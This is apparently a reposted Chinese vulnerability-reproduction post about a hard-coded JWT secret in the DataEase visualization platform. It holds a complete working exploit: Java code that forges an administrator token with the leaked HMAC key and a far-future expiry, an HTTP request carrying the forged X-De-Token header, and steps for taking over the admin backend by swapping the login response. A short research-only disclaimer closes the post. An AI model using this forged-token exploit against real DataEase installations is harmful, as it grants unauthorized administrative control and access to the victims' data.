package io.dataease; import com.auth0.jwt.JWT; import com.auth0.jwt.JWTCreator; import com.auth0.jwt.algorithms.Algorithm; import io.dataease.api.permissions.login.api.LoginApi; import io.dataease.auth.vo.TokenVO; public class jwt { public static void main(String[] args) { // 设置密钥 String secret = "83d923c9f1d8fcaa46cae0ed2aaa81b5"; Algorithm algorithm = Algorithm.HMAC256(secret); // 设置⽤户ID和默认OID Long userId = 1 L; Long defaultOid = 1 L; // 创建 JWT 构建器并添加声明 JWTCreator.Builder builder = JWT.create(); builder.withClaim("uid", 1).withClaim("oid", 1).withClaim("exp", 99999999999 L); // ⽣成 JWT String token = builder.sign(algorithm); // 输出⽣成的 JWT System.out.println("X-DE-TOKEN: " + token); } }
GET /de2api/engine/getEngine HTTP/1.1 Host: X-De-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjo5OTk5OTk5OTk5OX0.okytUClKBAHbww_C3ZZTINTUtbQSSE9ILJwhbIBr_cY Accept-Encoding: gzip, deflate, br Connection: keep-alive
接管后台:
账号密码随便输入,替换响应内容
{"code":0,"msg":null,"data": {"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjo5OTk5OTk5 OTk5OX0.okytUClKBAHbww_C3ZZTINTUtbQSSE9ILJwhbIBr_cY","exp":99999999999}}
原文始发于微信公众号(漏洞文库):【漏洞复现】DataEase数据可视化分析平台JWT硬编码身份认证绕过漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论